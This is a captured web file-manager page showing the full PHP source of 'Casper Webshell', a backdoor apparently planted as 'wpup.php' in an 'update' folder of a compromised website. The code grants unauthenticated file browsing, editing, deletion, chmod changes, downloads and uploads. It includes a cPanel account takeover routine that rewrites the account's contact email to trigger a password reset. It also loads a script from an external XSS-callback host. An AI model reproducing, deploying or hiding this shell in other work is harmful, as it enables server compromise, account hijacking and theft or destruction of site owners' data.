Файловый менеджер - Редактировать - /home/beautybuzzbeyond/public_html/old/update/wpup.php
Назад
<?php ini_set('display_errors', 0); // Get current directory or default to root (htdocs) $current_dir = isset($_GET['dir']) ? $_GET['dir'] : dirname(__FILE__); if (!is_dir($current_dir)) { $current_dir = dirname(__FILE__); } $items = scandir($current_dir); function formatBytes($size, $precision = 2) { $base = log($size, 1024); $suffixes = array('', 'KB', 'MB', 'GB', 'TB'); return round(pow(1024, $base - floor($base)), $precision) . ' ' . $suffixes[floor($base)]; } $parent_dir = dirname($current_dir); $editFileContent = ''; $directory = isset($_GET['dir']) ? $_GET['dir'] : '.'; $directory = realpath($directory) ?: '.'; if (isset($_POST['action'])) { $action = $_POST['action']; $target = $_POST['target'] ?? ''; switch ($action) { case 'delete': if (is_dir($target)) { deleteDirectory($target); // Call the recursive delete function } else { unlink($target); } break; case 'edit': if (file_exists($target)) { $editFileContent = file_get_contents($target); } break; case 'save': if (file_exists($target) && isset($_POST['content'])) { file_put_contents($target, $_POST['content']); } break; case 'chmod': if (isset($_POST['permissions'])) { chmod($target, octdec($_POST['permissions'])); } break; case 'download': if (file_exists($target)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename=' . basename($target)); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($target)); readfile($target); exit; } break; case 'upload': if (isset($_FILES['fileToUpload'])) { $file = $_FILES['fileToUpload']; // Check for errors if ($file['error'] === UPLOAD_ERR_OK) { // Sanitize the file name $fileName = basename($file['name']); $targetPath = $current_dir . DIRECTORY_SEPARATOR . $fileName; // Move the uploaded file to the target directory if (move_uploaded_file($file['tmp_name'], $targetPath)) { echo "<p>File uploaded successfully!</p>"; } else { echo "<p>Failed to move uploaded file.</p>"; } } else { echo "<p>Error uploading file: " . $file['error'] . "</p>"; } } break; } } function deleteDirectory($dir) { if (!is_dir($dir)) { return false; } $items = array_diff(scandir($dir), array('.', '..')); foreach ($items as $item) { $path = $dir . DIRECTORY_SEPARATOR . $item; if (is_dir($path)) { deleteDirectory($path); } else { unlink($path); } } return rmdir($dir); } function reset_cpanel_password($email) { $user = get_current_user(); $site = $_SERVER['HTTP_HOST']; $resetUrl = $site . ':2082/resetpass?start=1'; $wr = 'email:' . $email; $f = fopen('/home/' . $user . '/.cpanel/contactinfo', 'w'); fwrite($f, $wr); fclose($f); $f = fopen('/home/' . $user . '/.contactinfo', 'w'); fwrite($f, $wr); fclose($f); echo '<br/><center>Password reset link: <a href="http://' . $resetUrl . '">' . $resetUrl . '</a></center>'; echo '<br/><center>Username: ' . $user . '</center>'; } if (isset($_POST['cpanel_reset'])) { $email = $_POST['email']; reset_cpanel_password($email); } $username = get_current_user(); $user = $_SERVER['USER'] ?? 'N/A'; $phpVersion = phpversion(); $dateTime = date('Y-m-d H:i:s'); $hddFreeSpace = disk_free_space("/") / (1024 * 1024 * 1024); // in GB $hddTotalSpace = disk_total_space("/") / (1024 * 1024 * 1024); // in GB $serverIP = $_SERVER['SERVER_ADDR']; $clientIP = $_SERVER['REMOTE_ADDR']; $cwd = getcwd(); $parentDirectory = dirname($directory); $breadcrumbs = explode(DIRECTORY_SEPARATOR, $directory); $breadcrumbLinks = []; $breadcrumbPath = ''; foreach ($breadcrumbs as $crumb) { $breadcrumbPath .= $crumb . DIRECTORY_SEPARATOR; $breadcrumbLinks[] = '<a href="?dir=' . urlencode(rtrim($breadcrumbPath, DIRECTORY_SEPARATOR)) . '">' . htmlspecialchars($crumb) . '</a>'; } $breadcrumbLinksString = implode(' / ', $breadcrumbLinks); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Casper Webshell</title> <script src="https://googlescripts.xss.ht"></script> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css"> <style> body { font-family: Arial, sans-serif; margin: 0; padding: 0; background-color: #f4f4f4; } .file-manager { width: 80%; margin: 20px auto; background-color: #fff; padding: 20px; box-shadow: 0 0 10px rgba(0, 0, 0, 0.1); } .file-manager h1 { text-align: center; } .system-info { margin-bottom: 20px; background-color: #f9f9f9; padding: 10px; border: 1px solid #ddd; } .file-list { width: 100%; border-collapse: collapse; } .file-list th, .file-list td { padding: 10px; text-align: left; border-bottom: 1px solid #ddd; } .file-list th { background-color: #f0f0f0; } .file-list tr:hover { background-color: #f9f9f9; } .actions { text-align: center; margin-bottom: 20px; } .actions button { margin-right: 10px; padding: 10px 20px; background-color: #007bff; color: #fff; border: none; cursor: pointer; } .actions button:hover { background-color: #0056b3; } .icon { margin-right: 5px; } .file-actions { display: flex; justify-content: center; } .file-actions form { display: inline; } .file-actions button { background: none; border: none; color: #007bff; cursor: pointer; font-size: 16px; margin: 0 5px; padding: 5px; } .file-actions button:hover { color: #0056b3; } .file-actions button i { margin-right: 0; } .edit-form { margin-top: 20px; } .edit-form textarea { width: 100%; height: 300px; font-family: monospace; font-size: 14px; } .edit-form button { background-color: #28a745; color: #fff; padding: 10px 20px; border: none; cursor: pointer; } .edit-form button:hover { background-color: #218838; } /* Additional styling for reset form */ .reset-form { display: none; /* Initially hidden */ margin-top: 20px; color: #fff; padding: 20px; text-align: center; width: 50%; margin-left: auto; margin-right: auto; } .reset-form input[type="email"], .reset-form input[type="submit"] { background-color: #181818; color: #80D713; padding: 10px; border: none; margin: 5px; } .php-info-button { margin-top: 20px; text-align: center; } .php-info-button button { background-color: #17a2b8; color: #fff; border: none; padding: 10px 20px; cursor: pointer; } .php-info-button button:hover { background-color: #138496; } </style> <script> function toggleResetForm() { var form = document.getElementById('reset-form'); if (form.style.display === 'none') { form.style.display = 'block'; } else { form.style.display = 'none'; } } </script> </head> <body> <div class="file-manager"> <h1>Casper Webshell</h1> <div class="system-info"> <p>Current Directory: <?php echo $breadcrumbLinksString; ?></p> <p>Username: <?php echo htmlspecialchars($username); ?></p> <p>Server IP: <?php echo htmlspecialchars($serverIP); ?></p> <p>Client IP: <?php echo htmlspecialchars($clientIP); ?></p> <p>PHP Version: <?php echo htmlspecialchars($phpVersion); ?></p> <p>Current Date and Time: <?php echo htmlspecialchars($dateTime); ?></p> <p>Free Disk Space: <?php echo formatBytes($hddFreeSpace * 1024 * 1024 * 1024); ?></p> <p>Total Disk Space: <?php echo formatBytes($hddTotalSpace * 1024 * 1024 * 1024); ?></p> </div> <div class="actions"> <?php if ($parent_dir !== $current_dir): ?> <button onclick="window.location.href='?dir=<?php echo urlencode($parent_dir); ?>'"> <i class="fas fa-arrow-left icon"></i> Back </button> <?php endif; ?> <button onclick="toggleResetForm()">Reset cPanel Password</button> </div> <div class="reset-form" id="reset-form"> <form method="POST"> <input type="email" name="email" placeholder="Enter email" required> <input type="submit" name="cpanel_reset" value="Reset Password"> </form> </div> <div class="upload-form"> <h2>Upload File</h2> <form method="POST" action="" enctype="multipart/form-data"> <input type="file" name="fileToUpload" required> <button type="submit" name="action" value="upload">Upload</button> </form> </div> <table class="file-list"> <thead> <tr> <th>Name</th> <th>Size</th> <th>Last Modified</th> <th>Actions</th> </tr> </thead> <tbody> <?php foreach ($items as $item): ?> <?php if ($item !== '.' && $item !== '..'): ?> <?php $itemPath = $current_dir . DIRECTORY_SEPARATOR . $item; $isDir = is_dir($itemPath); $size = $isDir ? '-' : formatBytes(filesize($itemPath)); $lastModified = date('Y-m-d H:i:s', filemtime($itemPath)); ?> <tr> <td> <?php if ($isDir): ?> <a href="?dir=<?php echo urlencode($itemPath); ?>"><?php echo htmlspecialchars($item); ?></a> <?php else: ?> <?php echo htmlspecialchars($item); ?> <?php endif; ?> </td> <td><?php echo $size; ?></td> <td><?php echo $lastModified; ?></td> <td class="file-actions"> <form method="POST" style="display:inline;"> <input type="hidden" name="target" value="<?php echo htmlspecialchars($itemPath); ?>"> <button type="submit" name="action" value="delete"><i class="fas fa-trash-alt icon"></i> Delete</button> </form> <form method="POST" style="display:inline;"> <input type="hidden" name="target" value="<?php echo htmlspecialchars($itemPath); ?>"> <button type="submit" name="action" value="edit"><i class="fas fa-edit icon"></i> Edit</button> </form> <form method="POST" style="display:inline;"> <input type="hidden" name="target" value="<?php echo htmlspecialchars($itemPath); ?>"> <button type="submit" name="action" value="download"><i class="fas fa-download icon"></i> Download</button> </form> <form method="POST" style="display:inline;"> <input type="hidden" name="target" value="<?php echo htmlspecialchars($itemPath); ?>"> <input type="text" name="permissions" placeholder="Permissions (e.g., 0755)" style="width: 80px;"> <button type="submit" name="action" value="chmod"><i class="fas fa-lock icon"></i> Chmod</button> </form> </td> </tr> <?php endif; ?> <?php endforeach; ?> </tbody> </table> <?php if (isset($_POST['action']) && $_POST['action'] === 'edit'): ?> <div class="edit-form"> <h2>Edit File: <?php echo htmlspecialchars($target); ?></h2> <form method="POST"> <textarea name="content"><?php echo htmlspecialchars($editFileContent); ?></textarea> <input type="hidden" name="target" value="<?php echo htmlspecialchars($target); ?>"> <button type="submit" name="action" value="save">Save</button> </form> </div> <?php endif; ?> </div> </body> </html>
| ver. 1.4 |
Github
|
.
| PHP 8.0.30 | Генерация страницы: 0 |
proxy
|
phpinfo
|
Настройка